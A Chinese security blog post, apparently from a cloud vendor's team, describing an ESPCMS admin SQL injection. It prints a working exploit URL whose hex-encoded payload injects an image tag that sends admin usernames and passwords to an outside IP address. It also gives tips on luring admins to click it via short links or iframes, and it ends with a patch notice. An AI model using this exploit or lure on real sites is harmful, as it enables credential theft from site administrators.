看似鸡肋的ESPCMS后台注入,其实可以很好玩

简介:

0x00 背景介绍

昨日,乌云漏洞平台公开了一个ESPCMS的注入漏洞,阿里云计算安全攻防对抗团队的小伙伴第一时间对漏洞做了一个影响评估。没想到需要登录到后台才可以注入,怪不得连厂商都主动忽略了该漏洞,一定是觉得利用成本比较高,难以造成更大的危害。


0x01 复现

抱着实事求是的心态,我们在测试环境搭建了一个ESPCMS尝试进行复现,从漏洞提交者的细节中可以看到,漏洞位于adminsoft\control\citylist.php内22行附近的一处整形注入,漏洞利用成功,会返回一个html页面:




可控的字符串出现在了html页面,没有经过加盐的MD5赤果果的回显出来,看似漏洞的危害也就局限于此。


0x02 新玩法

实际上这里我们可以使用SQL注入去构造一个“反射XSS”。实现了当管理员在登陆状态下点击黑客构造好的URL,后台密码就会发送到一个黑客指定的网站。

最终构造出的exp:


http://example.com/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 UNION select 1,2,concat(0x3c696d67207372633d22687474703a2f2f3135332e39322e34312e33312f312e7068703f613d,name,0x7c,password,0x22),4,5 FROM espcms_v6.espcms_admin_member


访问一下,页面中的源代码变成了下面这样:    




抓包查看网络请求,管理员的账号密码已经被发送到了三方网站。




为了更好的伪装payload,可以把地址缩成一个短网址,发送给管理员邮箱并诱使他点击,或者还可以使用iframe嵌入到管理员经常访问的网站,姜太公钓鱼愿者上钩。

 

0x03 修复

 

由于官方忽略了该漏洞,也没有给出相应的修复方案,因此所有使用ESPCMS的网站都受漏洞影响。在团队小伙伴的努力之下,目前云盾“补丁管理”已率先推出针对该漏洞的自研修复补丁。阿里云用户可登录云盾控制台,访问“补丁管理”页面点击“立即修复”按钮,即可一键完成修复。

目录
相关文章
|
数据采集 XML 监控
Google Search Console 做SEO分析之“已发现未编入” 与 “已抓取未编入” 有什么区别?
在 Google Search Console (GSC) 中,“已发现 - 尚未编入索引”(Discovered - currently not indexed) 和 “已抓取 - 尚未编入索引”(Crawled - currently not indexed) 是两种不同的状态,如果你的站点也有这两种状态就需要注意优化了。
801 0
|
安全 Windows
“由于启动计算机时出现了页面文件配置问题,Windows在你的计算机上创建了一个临时页面文件。。。”的问题解决
本文主要介绍了因清理电脑垃圾文件时误删虚拟内存导致的Windows页面文件配置问题,并提供了详细的解决步骤。问题表现为开机后出现临时页面文件创建的提示弹窗。解决方法包括通过控制面板或快捷键进入高级系统设置,进而调整虚拟内存设置:进入性能选项中的虚拟内存栏,选择自动管理所有驱动器的分页文件大小,最后确认并重启计算机以恢复正常运行。
10236 5
“由于启动计算机时出现了页面文件配置问题,Windows在你的计算机上创建了一个临时页面文件。。。”的问题解决
|
域名解析 搜索推荐 Apache
服务器301重定向详细教程
301重定向是一种HTTP状态码,用于指示网页已永久移至新位置,对SEO和用户体验至关重要。本文详解了301重定向的作用,包括提升搜索引擎排名和自动引导用户访问新URL。同时介绍了多种设置方法,如通过网站控制面板、Apache的mod_rewrite模块、IIS的URL重写模块等,并提醒注意新URL的准备、链接更新及流量监控。合理设置301重定向有助于网站平稳过渡和长期发展。
2119 7
|
API Python
【Azure Developer】【Python 】使用 azure.identity 和 azure.common.credentials 获取Azure AD的Access Token的两种方式
【Azure Developer】【Python 】使用 azure.identity 和 azure.common.credentials 获取Azure AD的Access Token的两种方式
366 0
|
安全 PHP
ThinkPHP 2.x 任意代码执行漏洞
ThinkPHP 2.x 任意代码执行漏洞
745 0
ThinkPHP 2.x 任意代码执行漏洞
|
算法 Java 数据库
spring、spring-boot配置文件属性内容加解密
实际项目开发过程中,我们的应用程序都有很多的配置文件(例如properties或者yml文件等),我们时常会遇到需要对配置文件敏感字段的参数内容进行加密处理(比如数据库连接密码、与第三方的通信密钥等)。
30839 0
|
安全 大数据 数据安全/隐私保护